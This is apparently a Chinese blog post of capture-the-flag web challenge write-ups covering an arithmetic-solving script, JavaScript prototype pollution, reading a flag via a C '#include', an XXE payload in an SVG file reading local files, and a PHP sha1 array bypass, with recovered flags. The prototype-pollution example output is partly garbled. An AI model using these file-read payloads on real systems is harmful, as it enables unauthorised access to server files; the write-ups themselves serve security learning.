持续创作,加速成长!这是我参与「掘金日新计划 · 6 月更文挑战」的第17天,点击查看活动详情
[GXYCTF2019]StrongestMind
让计算数字,计算一千次给flag
我们需要写一个脚本
import re
import requests
from time import sleep
def count():
s = requests.session()
url = 'http://8699ffc6-ce00-43ea-b361-81b36d756cf2.node4.buuoj.cn:81/'
match = re.compile(r"[0-9]+ [+|-] [0-9]+")
r = s.get(url)
for i in range(1001):
sleep(0.1)
str = match.findall(r.text)[0]
# print(eval(str))
data = {"answer" : eval(str)}
r = s.post(url, data=data)
r.encoding = "utf-8"
print('{} : {}'.format(i,eval(str)))
# print(r.text)
print(r.text)
if __name__ == '__main__':
count()
//flag{9a7eb18b-254e-4b3f-b573-b1d7e3b9a950}
[GYCTF2020]Ez_Express
考点JS原型链污染
调用一个对象的某属性时:
1.对象(obj)中寻找这一属性
2.如果找不到,则在obj.__proto__中寻找属性
3.如果仍然找不到,则继续在obj.__proto__.__proto__中寻找这一属性
原型链污染定义:
如果攻击者控制并修改了一个对象的原型,那么将可以影响所有和这个对象来自同一个类、父祖类的对象。这种攻击方式就是原型链污染
举例:
let foo = {bar: 1}
console.log(foo.bar)
foo.__proto__.bar = 2
console.log(foo.bar)
let zoo = {}
console.log(zoo.bar)
结果:
let foo ={bar:1}
console.log(foo.bar)
foo._proto__.bar=2
console.log(foo.bar)
let zoo={}
console.log(zoo.bar)
1
1
思路:js审计如果看见merge,clone函数,可以往原型链污染靠,跟进找一下关键的函数,找污染点
切记一定要让其__proto__解析为一个键名
[FireshellCTF2020]Caas
Welcome guest! Please input your code below and we will compile it for you
让我们输入代码,搞不懂啥意思,我们就试试随便输入吧,发现输入后一堆错报
看完hint才发现这是个c编译器,你输入的代码如果没错就会给你下载下来你编译的代码
那么我们要怎末获得flag呢
看网上wp发现还是学的太少了
因为我们c语言编写前都需要
#include <stdio.h>
所以我们试一试包含flag
#include "/flag"
惊奇的发现错报里有flag
flag{76d4c82c-836a-44cf-a1ef-f31d89a5338b}
这题没有想到包含这一点,属实可惜
[BSidesCF 2019]SVGMagic
Convert SVG to PNG with Magic
进去之后是个文件上传的点,附带上面这条英文,翻译一下就是将SVG文件转换为PNG图片然后上传
对于SVG文件了解不是很深
SVG英文全称为Scalable Vector Graphics,意思为可缩放的矢量图形,是一种图像文件格式;SVG是一种用XML定义的语言,可以用来描述二维矢量及矢量或栅格图形
可以知道SVG是XML格式的文件,重要的一点是我们对其中的内容是可控的,可控的话我们就试试要在里面插入什么
试一试XXE漏洞
.svg内容
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///proc/self/cwd/flag.txt" >
]>
<svg height="100" width="1000">
<text x="10" y="20">&file;</text>
</svg>
上传直接出了flag,图片形式的flag恶意真的很大
flag{9199fbc8-94bd-4c18-8660-a5df97b237ac}
[极客大挑战 2020]Roamphp1-Welcome
进去什么都没有,F12也啥都没有,怀疑是传参方式出问题了
所以我们bp改一下发包方式
之后就能看见源码了
<?php
error_reporting(0);
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
header("HTTP/1.1 405 Method Not Allowed");
exit();
} else {
if (!isset($_POST['roam1']) || !isset($_POST['roam2'])){
show_source(__FILE__);
}
else if ($_POST['roam1'] !== $_POST['roam2'] && sha1($_POST['roam1']) === sha1($_POST['roam2'])){
phpinfo(); // collect information from phpinfo!
}
}
一眼数组绕过传个参
roam1[]=1&roam2[]=0
进入phpinfo搜flag
flag{a7d608db-514e-412d-8c46-13b170a32106}
题目很简单,记录这个是因为觉得开头转换传参方式是个不错的出题思路